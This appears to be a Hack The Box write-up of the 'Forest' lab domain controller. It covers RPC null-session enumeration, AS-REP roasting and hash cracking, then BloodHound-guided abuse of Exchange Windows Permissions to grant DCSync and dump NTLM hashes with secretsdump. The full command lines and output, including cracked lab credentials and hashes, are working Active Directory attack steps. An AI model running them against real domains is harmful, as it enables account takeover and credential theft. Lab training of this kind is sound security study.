Post

HTB:Forest

HTB:Forest

Intro

Forest is a easy-difficulty Windows machine, which provides a great introduction to RPC enumeration, AS-REP Roasting, Bloodhound

Attack path:

1
2
3
4
5
6
7
8
9
10
11
12
Unauthenticated RPC enum
   └── enumdomusers + queryuser → ACB flag analysis
       └── svc-alfresco (ACB_DONT_REQUIRE_PREAUTH)
           └── AS-REP Roast → hash → hashcat (rockyou)
               └── svc-alfresco:s3rvice
                   └── WinRM → user.txt
                       └── BloodHound: Account Operators
                           └── GenericAll → Exchange Windows Permissions
                               └── WriteDacl over HTB.LOCAL
                                   └── bloodyAD → DCSync rights
                                       └── secretsdump.py → Administrator hash
                                           └── Pass-the-Hash → root.txt

TL;DR

  • Enumerate domain users via unauthenticated RPC (rpcclient). Manually inspect acb_info bitfields to identify ACB_DONT_REQUIRE_PREAUTH on svc-alfresco.
  • AS-REP roast with GetNPUsers.py, crack the recovered hash with hashcat to obtain svc-alfresco:s3rvice.
  • Gain a WinRM shell. svc-alfresco is a member of Account Operators, which has GenericAll over Exchange Windows Permissions.
  • Use net rpc group addmem to add svc-alfresco to Exchange Windows Permissions, which holds WriteDacl over the domain.
  • Abuse WriteDacl via bloodyAD to grant DCSync rights, then dump the Administrator hash with secretsdump.py.
  • Pass-the-Hash via evil-winrm for Administrator shell.

Nmap Enumeration

As is usual, we’ll start off with an Nmap scan to determine what ports are open.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
sudo nmap -sVC 10.129.95.210
[sudo] password for truffle:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-25 09:44 AWST
Nmap scan report for 10.129.95.210
Host is up (0.30s latency).
Not shown: 989 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-25 01:55:16Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2026-03-24T18:55:44-07:00
| smb2-time:
|   date: 2026-03-25T01:55:46
|_  start_date: 2026-03-25T01:50:07
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 2h30m20s, deviation: 4h02m31s, median: 10m19s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.03 seconds

The following are of note:

  • Likely a Domain Controller. Combination of DNS (53), Kerberos (88), LDAP (389/3268), and kpasswd (464) is the classic DC fingerprint.
  • Domain info leaked: htb.local as both domain and forest name, FQDN FOREST.htb.local. We’ll add these to our /etc/hosts
  • DNS on TCP 53. We could try a zone transfer, but there are no webservers running, so limited use right now.
  • SMB guest account used. Script authenticated as guest. May be possible to get anonymous/guest auth.
  • Clock skew: 2h30m20s - relevant if kerberos comes up

Poking at services

SMB

Given the script scan, and as a usual test, we’ll attempt some initial enumeration on smb

1
2
3
4
5
6
7
8
nxc smb forest -u '' -p '' --shares
SMB         10.129.95.210   445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.95.210   445    FOREST           [+] htb.local\:
SMB         10.129.95.210   445    FOREST           [-] Error enumerating shares: STATUS_ACCESS_DENIED

~/htb/boxes/forest 13s ❯ nxc smb forest -u 'anonymous' -p '' --shares
SMB         10.129.95.210   445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.95.210   445    FOREST           [-] htb.local\anonymous: STATUS_LOGON_FAILURE

No luck here.

DNS

1
2
3
4
5
dig axfr forest.htb.local@10.129.95.210

; <<>> DiG 9.18.41-1~deb12u1-Debian <<>> axfr forest.htb.local@10.129.95.210
;; global options: +cmd
; Transfer failed.

No luck here.

RPC

RPC can give us a surprising amount of information when null sessions aren’t restricted. It’s important to note that most harderned enironments wont allow null session, but older or misconfigured hosts still allow this, as anonymous RPC access is permitted in earlier Windows versions. Modern hardening guidelines suggest disabling it via RestrictAnonymous registry settings and applying network-level firewall rules.

Here we’re querying the domain.

1
2
3
4
5
6
7
8
9
10
11
12
rpcclient $> querydominfo
Domain:         HTB
Server:
Comment:
Total Users:    105
Total Groups:   0
Total Aliases:  0
Sequence No:    1
Force Logoff:   18446744073709551615
Domain Server State:    0x1
Server Role:    ROLE_DOMAIN_PDC
Unknown 3:      0x1

We can see we have Server Role: ROLE_DOMAIN_PDC which confirms our suspisions from the nmap scan, that this is indeed a DC.

Here we’re querying pasword properties. Always good info incase we need to perform a password spray.

1
2
3
rpcclient $> getdompwinfo
min_password_length: 7
password_properties: 0x00000000

password_properties: 0x00000000 tells us there is no password complexity enforced (mixed case, numbers, symbols)

We can enumerate system privileges

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
rpcclient $> enumprivs
found 35 privileges

SeCreateTokenPrivilege          0:2 (0x0:0x2)
SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)
SeLockMemoryPrivilege           0:4 (0x0:0x4)
SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)
SeMachineAccountPrivilege               0:6 (0x0:0x6)
SeTcbPrivilege          0:7 (0x0:0x7)
SeSecurityPrivilege             0:8 (0x0:0x8)
SeTakeOwnershipPrivilege                0:9 (0x0:0x9)
SeLoadDriverPrivilege           0:10 (0x0:0xa)
SeSystemProfilePrivilege                0:11 (0x0:0xb)
SeSystemtimePrivilege           0:12 (0x0:0xc)
SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)
SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)
SeCreatePagefilePrivilege               0:15 (0x0:0xf)
SeCreatePermanentPrivilege              0:16 (0x0:0x10)
SeBackupPrivilege               0:17 (0x0:0x11)
SeRestorePrivilege              0:18 (0x0:0x12)
SeShutdownPrivilege             0:19 (0x0:0x13)
SeDebugPrivilege                0:20 (0x0:0x14)
SeAuditPrivilege                0:21 (0x0:0x15)
SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)
SeChangeNotifyPrivilege                 0:23 (0x0:0x17)
SeRemoteShutdownPrivilege               0:24 (0x0:0x18)
SeUndockPrivilege               0:25 (0x0:0x19)
SeSyncAgentPrivilege            0:26 (0x0:0x1a)
SeEnableDelegationPrivilege             0:27 (0x0:0x1b)
SeManageVolumePrivilege                 0:28 (0x0:0x1c)
SeImpersonatePrivilege          0:29 (0x0:0x1d)
SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)
SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)
SeRelabelPrivilege              0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)
SeTimeZonePrivilege             0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)

Nothing overly interesting here. Standard privilege set for a DC.

Here we’re enumerating the users in the domain, which can inform a lot of attacks, and in this case is a crucial step in our attack chain.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

It’s important to note that SM_* and HealthMailbox* accounts are created automatically by Exchange and are generally not useful targets. In this case, we’ll focus on the human accounts.


RPC interlude

Whilst we can use automatic tools such as GetNPUsers.py and a list of known users to check if any accounts are AS-REProastable - that is whether DONT_REQ_PREAUTH is set - it’s a fun little exercise to check this manually.

As we can see above, we have the following ‘generic’ users and their RIDs

1
2
3
4
5
6
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

We can use queryuser 0x<RID> to get information about a user. In this case, sebastien :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
rpcclient $> queryuser 0x479
        User Name   :   sebastien
        Full Name   :   Sebastien Caron
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Mon, 23 Sep 2019 06:29:30 AWST
        Logoff Time              :      Thu, 01 Jan 1970 08:00:00 AWST
        Kickoff Time             :      Thu, 14 Sep 30828 10:48:05 AWST
        Password last set Time   :      Fri, 20 Sep 2019 08:30:00 AWST
        Password can change Time :      Sat, 21 Sep 2019 08:30:00 AWST
        Password must change Time:      Thu, 14 Sep 30828 10:48:05 AWST
        unknown_2[0..31]...
        user_rid :      0x479
        group_rid:      0x201
        acb_info :      0x00000210
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000008
        padding1[0..7]...
        logon_hrs[0..21]...

The Correct Flags
A word of warning here is that rpcclient uses Samba’s ACB flags, and NOT microsoft’s userAccountControl bits.

This difference in bitfield values tripped me up here, as I was able to AS-REProast the svc-alfresco user, but the bitfield didn’t add up. The obvious solution here is that we should know our tools and what they reference.

In this specific case, we’re interested in whether an account is AS-REProastable, we can cross-reference the acb_info bitfield with Samba’s ACB flags. We can find the flags in this very niche part of the internet here.

For the purposes of this walkthrough, and your reading pleasure, I’ll list some common flags below.

Hex ValueFlag NameMeaning
0x00000001ACB_DISABLEDAccount disabled
0x00000002ACB_HOMDIRREQHome directory required
0x00000004ACB_PWNOTREQPassword not required
0x00000008ACB_TEMPDUPTemporary duplicate account
0x00000010ACB_NORMALNormal user account
0x00000020ACB_MNSMNS logon user account
0x00000040ACB_DOMTRUSTInterdomain trust account
0x00000080ACB_WSTRUSTWorkstation trust account
0x00000100ACB_SVRTRUSTServer trust account (BDC)
0x00000200ACB_PWNOEXPPassword does not expire
0x00000400ACB_AUTOLOCKAccount auto locked
0x00000800ACB_ENC_TXT_PWD_ALLOWEDEncrypted text password allowed
0x00001000ACB_SMARTCARD_REQUIREDSmart Card required
0x00002000ACB_TRUSTED_FOR_DELEGATIONTrusted for delegation
0x00010000ACB_DONT_REQUIRE_PREAUTHPreauth not required (AS-REP roastable!)

In Sebastien’s case, they have the following Bitfield: acb_info : 0x00000210. We can see that this is a combination of the following:

0x00000010: ACB_NORMAL - Normal user account + 0x00000200: ACB_PWNOEXP- Password does not expire

In essence, Sebastien is a regular plain ol’ pesky user which requires preauth.

Going down the list, we arrive at svc-alfresco. We can query against svc-alfresco and get the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
rpcclient $> queryuser 0x47b
        User Name   :   svc-alfresco
        Full Name   :   svc-alfresco
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Wed, 25 Mar 2026 10:57:08 AWST
        Logoff Time              :      Thu, 01 Jan 1970 08:00:00 AWST
        Kickoff Time             :      Thu, 01 Jan 1970 08:00:00 AWST
        Password last set Time   :      Wed, 25 Mar 2026 10:57:28 AWST
        Password can change Time :      Thu, 26 Mar 2026 10:57:28 AWST
        Password must change Time:      Thu, 14 Sep 30828 10:48:05 AWST
        unknown_2[0..31]...
        user_rid :      0x47b
        group_rid:      0x201
        acb_info :      0x00010210
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000007
        padding1[0..7]...

We see they have the following Bitfield: acb_info:0x00010210

This is a combination of: 0x00010000: ACB_DONT_REQUIRE_PREAUTH- Preauth not required (AS-REP roastable!) + 0x00000010: ACB_NORMAL - Normal user account + 0x00000200: ACB_PWNOEXP- Password does not expire

In summary, we love this svc-alfresco user (as attackers). Because Preauth is not required for this user, we can we can attempt an AS-REP attack, grab their hash, crack it, and gain some priv-esc.

Microsoft version
For refernece, if we were using a tool that used microsoft’s UAC we would have the following values (contrasted with sambas):

FlagMicrosoft UACSamba ACB
Don’t require preauth0x004000000x00010000
Normal account0x000002000x00000010
Password never expires0x000100000x00000200

Before we sink our hooks into svc-alfresco, lets see what groups are on the machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Organization Management] rid:[0x450]
group:[Recipient Management] rid:[0x451]
group:[View-Only Organization Management] rid:[0x452]
group:[Public Folder Management] rid:[0x453]
group:[UM Management] rid:[0x454]
group:[Help Desk] rid:[0x455]
group:[Records Management] rid:[0x456]
group:[Discovery Management] rid:[0x457]
group:[Server Management] rid:[0x458]
group:[Delegated Setup] rid:[0x459]
group:[Hygiene Management] rid:[0x45a]
group:[Compliance Management] rid:[0x45b]
group:[Security Reader] rid:[0x45c]
group:[Security Administrator] rid:[0x45d]
group:[Exchange Servers] rid:[0x45e]
group:[Exchange Trusted Subsystem] rid:[0x45f]
group:[Managed Availability Servers] rid:[0x460]
group:[Exchange Windows Permissions] rid:[0x461]
group:[ExchangeLegacyInterop] rid:[0x462]
group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]
group:[Service Accounts] rid:[0x47c]
group:[Privileged IT Accounts] rid:[0x47d]
group:[test] rid:[0x13ed]

We can also query our user: [svc-alfresco] rid:[0x47b] group membership.

1
2
3
4
5
6
7
8
9
10
11
12
13
rpcclient $> queryusergroups 0x47b
        group rid:[0x201] attr:[0x7]
        group rid:[0x47c] attr:[0x7]
rpcclient $> querygroup 0x201
        Group Name:     Domain Users
        Description:    All domain users
        Group Attribute:7
        Num Members:30
rpcclient $> querygroup 0x47c
        Group Name:     Service Accounts
        Description:
        Group Attribute:7
        Num Members:1

Given his the prefix of svc, it’s not a surpise to see they’re a member of the Service Accounts group. Of course, we can do all of this with bloodhound once we get a password, but I hope you learnt something from this detour.

Getting a foothold

For completeness, despite knowing that only svc-alfresco is AS-REProastable, we’ll create a list of users.

We’ll create a list of users from our previous enumeration:

1
2
3
4
5
6
7
Administrator
sebastien
lucinda
svc-alfresco
andy
mark
santi

AS-REP roast

We can attempt an AS-REP roast.

1
2
3
4
5
6
7
8
9
10
11
GetNPUsers.py htb.local/FOREST -usersfile names.txt -dc-ip 10.129.95.210 -format hashcat -outputfile hashes.txt
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:e7934a27317b251db3e7dcffc56e4afe$c98f81fbe30ada0655004f8424826fb68a2f7d00aae47f23c5478ffeb85ca1a7bc821677073e32b85d9a1019e9fa9a129b7514011685300520fd92c1df13bf61d645e31204fdd84aa85378a57585ce55f9056e7d34597b244e89454e2a59beff3fe7b73a9ca7ec7735ec11730e51130f1c585a30e618cb7107ca0c1d8edca075c65ed07d204d46f59055da7e6b2bddbe271098be6127598825c2d5a4a8783282912779acfa21ed441d85e1a07b6662c4370fa8a536d7ff70254d010600a94399414ad17d00c1c01ee1b681c15e143de6c96c891a494da75d3bda52cf347f20daf9923b65d89f
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

and how surprising, the svc-alfresco user is vulnerable and we get a hash.

We’ll use hashcat’s auto-detect mode ( usually -m 18200)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
hashcat hashes.txt /usr/share/wordlists/rockyou.txt

...snip...

$krb5asrep$23$svc-alfresco@HTB.LOCAL:e7934a27317b251db3e7dcffc56e4afe$c98f81fbe30ada0655004f8424826fb68a2f7d00aae47f23c5478ffeb85ca1a7bc821677073e32b85d9a1019e9fa9a129b7514011685300520fd92c1df13bf61d645e31204fdd84aa85378a57585ce55f9056e7d34597b244e89454e2a59beff3fe7b73a9ca7ec7735ec11730e51130f1c585a30e618cb7107ca0c1d8edca075c65ed07d204d46f59055da7e6b2bddbe271098be6127598825c2d5a4a
8783282912779acfa21ed441d85e1a07b6662c4370fa8a536d7ff70254d010600a94399414ad17d00c1c01ee1b681c15e143de6c96c891a494da75d3bda52cf347f20daf9923b65d89f:s3rvice

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc-alfresco@HTB.LOCAL:e7934a27317b25...65d89f
Time.Started.....: Wed Mar 25 11:29:12 2026 (5 secs)
Time.Estimated...: Wed Mar 25 11:29:17 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   801.2 kH/s (2.11ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4087808/14344385 (28.50%)
Rejected.........: 0/4087808 (0.00%)
Restore.Point....: 4083712/14344385 (28.47%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: s523480 -> s2704081
Hardware.Mon.#1..: Util: 85%

Started: Wed Mar 25 11:29:07 2026
Stopped: Wed Mar 25 11:29:19 2026

Nice! We now have some credentials: svc-alfresco:s3rvice

Testing SMB

1
2
3
4
5
6
7
8
9
10
11
nxc smb forest -u 'svc-alfresco' -p 's3rvice' --shares
SMB         10.129.191.207  445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.129.191.207  445    FOREST           [+] htb.local\svc-alfresco:s3rvice
SMB         10.129.191.207  445    FOREST           [*] Enumerated shares
SMB         10.129.191.207  445    FOREST           Share           Permissions     Remark
SMB         10.129.191.207  445    FOREST           -----           -----------     ------
SMB         10.129.191.207  445    FOREST           ADMIN$                          Remote Admin
SMB         10.129.191.207  445    FOREST           C$                              Default share
SMB         10.129.191.207  445    FOREST           IPC$            READ            Remote IPC
SMB         10.129.191.207  445    FOREST           NETLOGON        READ            Logon server share
SMB         10.129.191.207  445    FOREST           SYSVOL          READ            Logon server share

No luck here

Testing for Kerberoasting

Given the svc-alfresco naming convention suggests a service account, it’s worth checking whether any SPNs are registered.

Note: Kerberoastable accounts require an SPN to be set.

1
2
3
4
5
nxc ldap forest -u 'svc-alfresco' -p 's3rvice' --kerberoasting output.txt
LDAP        10.129.191.207  389    FOREST           [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.191.207  389    FOREST           [+] htb.local\svc-alfresco:s3rvice
LDAP        10.129.191.207  389    FOREST           [*] Skipping disabled account: krbtgt
LDAP        10.129.191.207  389    FOREST           [*] Total of records returned

Hunting with Bloodhound

I’ll set up my docker container, as I’ve done in other boxes and then we’ll run bloodhound:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bloodhound-ce-python -d htb.local -c All -u svc-alfresco -p s3rvice -ns 10.129.191.207 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: htb.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Testing resolved hostname connectivity dead:beef::129
INFO: Trying LDAP connection to dead:beef::129
INFO: Testing resolved hostname connectivity dead:beef::e489:a29a:dc5:49a1
INFO: Trying LDAP connection to dead:beef::e489:a29a:dc5:49a1
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Testing resolved hostname connectivity dead:beef::129
INFO: Trying LDAP connection to dead:beef::129
INFO: Testing resolved hostname connectivity dead:beef::e489:a29a:dc5:49a1
INFO: Trying LDAP connection to dead:beef::e489:a29a:dc5:49a1
INFO: Found 32 users
INFO: Found 76 groups
INFO: Found 2 gpos
INFO: Found 15 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: EXCH01.htb.local
INFO: Querying computer: FOREST.htb.local
INFO: Done in 01M 31S
INFO: Compressing output into 20260325152525_bloodhound.zip
1
2
3
4
rusthound-ce -d htb.local -u 'svc-alfresco' -p 's3rvice' -o forest
...snip..

RustHound-CE Enumeration Completed at 15:20:34 on 03/25/26! Happy Graphing!

Access with winrm

Whilst bloodhound is doing its thing, we can test if we can access the machine

1
2
3
nxc winrm forest -u 'svc-alfresco' -p 's3rvice'
WINRM       10.129.191.207  5985   FOREST           [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local)
WINRM       10.129.191.207  5985   FOREST           [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

Getting shell

1
2
3
4
5
6
7
8
9
10
11
12
evil-winrm -i forest -u 'svc-alfresco' -p 's3rvice'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>

user.txt

Nice, we see user flag.

1
2
Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
e733c368efb8a329db1e08b0d63*****

Priv-esc attempt uno

Looking at bloodhound, we see the same relationship, but with some extra juice! Pathing.png

We can see that we’re ultimately a member of the Account Operators group, which has GenericAll over Organization Management, which in turn has GenericAll over Administrator.

The simplest approach here would be adding ourselves to the Organization Management group and then changing the administrators

1
2
3
4
5
6
7
8
net rpc group addmem "ORGANIZATION MANAGEMENT" "svc-alfresco" -U "htb.local"/"svc-alfresco"%"s3rvice" -S "FOREST.htb.local"

net rpc group members "ORGANIZATION MANAGEMENT" -U "htb.local"/"svc-alfresco"%"s3rvice" -S "FOREST.htb.local"
HTB\Administrator
HTB\svc-alfresco

net rpc password  "Administrator" "newP@ssword2022" -U "htb.local"/"svc-alfresco"%"s3rvice" -S "FOREST.htb.local"
Failed to set password for 'Administrator' with error: Access is denied..

No luck here.

I’ll try to add an SPN

1
2
3
4
5
bloodyAD -d forest.htb.local -u 'svc-alfresco' -p 's3rvice' -H 10.129.191.207  msldap addspn 'CN=ADMINISTRATOR,CN=Users,DC=HTB,DC=LOCAL' 'fake/evilservice'
Traceback (most recent call last):
  File "/home/truffle/tools/certipy-venv/lib/python3.12/site-packages/badldap/examples/msldapclient.py", line 1363, in do_addspn
    raise err
badldap.commons.exceptions.LDAPModifyException: insufficientAccessRights for CN=ADMINISTRATOR,CN=Users,DC=HTB,DC=LOCAL (Attr) — Reason:(ERROR_DS_INSUFF_ACCESS_RIGHTS) Insufficient access rights to perform the operation.

No luck here either. Looks like it’s not going to be that easy.

What happened here?
The Administrator account is protected by AdminSDHolder. A background process (SDProp) resets ACLs on protected accounts every 60 minutes, stripping any permissions granted through Organization Management. Additionally, GenericAll over a group only grants the ability to add members. Control doesn’t transitively flow to the group’s own targets.

Priv-esc attempt duo

Moving on, my first thought was to do some pathfinding.
To save us the disapointment (spoiler) of looking at five seperate user graphs with no findings, we can use the following cypher to do this in one swoop (and perform a little housekeeping):

1
2
3
4
5
6
7
MATCH p=(u1:User)-[:MemberOf*1..]->(g:Group)-[:GenericAll]->(u2:User) 
WHERE g.name STARTS WITH 'ACCOUNT OPERATORS'
AND NOT u1.name STARTS WITH 'HEALTHMAIL'
AND NOT u2.name STARTS WITH 'HEALTHMAIL'
AND NOT u1.name STARTS WITH 'SM_'
AND NOT u2.name STARTS WITH 'SM_'
RETURN p

Pathing2.png

…which is all well and good, but doesn’t do anything for us (except give us a some practice using cypher queries)

At this point I was a little confused. We have GenericAll over quite a few users, but none of these users really gives us a chance to escalate a privileges.

Here is where I learnt an important lesson. Due to my experience with doing boxes on HackTheBox, a heuristic that I’ve developed when doing AD boxes is that pathfinding to Administrator is the way forward. In this case, it means that we miss the glaringly obvious escalation path.
The TL;DR is that we should look at ALL high value targets - and ultimately - perform in-depth recon before we make an assumption about attack paths.

In this case, if we look at the HTB.local domain node within bloodhound and then look at the controllers we see the following graph. Pathing3.png

Despite this looking like a mess, we see a potential priv-esc path, though it may not be obvious. If we look down the bottom of the graph, we see Exchange Trusted SubsystemExchange Windows PermissionsHTB.LOCAL.

Pathing4.png If we recall, our attempted priv-esc to the Administrator user involved us first leveraging our membership of the Account Operators group (as svc-alfresco) → GenericAllOrganization Management.
In this case, we instead want to become a member of the Exchange Windows Permissions group so we have WriteDacl over the DC.

If we path-find from svc-alfrescoHTB.LOCAL we have the following graph: Pathing5.png Thus, our attack-path is going to be make ourselves member of the Exchange Windows Permissions group → abuse WriteDaclDCSync

The attack

First we’ll add ourselves to the EXCHANGE WINDOWS PERMISSIONS

1
sudo net rpc group addmem "EXCHANGE WINDOWS PERMISSIONS" "svc-alfresco" -U "htb.local"/"svc-alfresco"%"s3rvice" -S 10.129.193.121

We’ll verify that we’re a member of this group.

1
2
3
sudo net rpc group members "EXCHANGE WINDOWS PERMISSIONS" -U "htb.local"/"svc-alfresco"%"s3rvice" -S 10.129.193.121
HTB\Exchange Trusted Subsystem
HTB\svc-alfresco

We’ll abuse WriteDacl to give ourselves the ability to DcSync

1
2
bloodyAD -d htb.local -u svc-alfresco -p 's3rvice' --host 10.129.193.121 add dcsync svc-alfresco
[+] svc-alfresco is now able to DCSync
1
2
3
4
5
6
7
8
9
10
11
12
secretsdump.py 'htb.local/svc-alfresco:s3rvice'@10.129.193.121

secretsdump.py 'htb.local/svc-alfresco:s3rvice'@10.129.193.121
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
...snip..

